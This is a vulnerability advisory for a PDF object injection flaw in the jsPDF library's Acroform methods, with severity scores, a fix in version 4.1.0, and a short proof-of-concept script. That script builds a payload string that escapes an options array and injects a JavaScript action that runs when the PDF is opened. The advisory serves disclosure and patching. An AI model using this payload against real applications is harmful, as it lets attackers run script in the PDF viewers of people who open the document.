CVE-2026-24737

ADVISORY - github

Summary

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

  • AcroformChoiceField.addOption
  • AcroformChoiceField.setOptions
  • AcroFormCheckBox.appearanceState
  • AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.1.0.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Credits

Research and fix: Ahmet Artuç

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Encoding or Escaping of Output

ADVISORY - github

Improper Encoding or Escaping of Output


NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high

GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high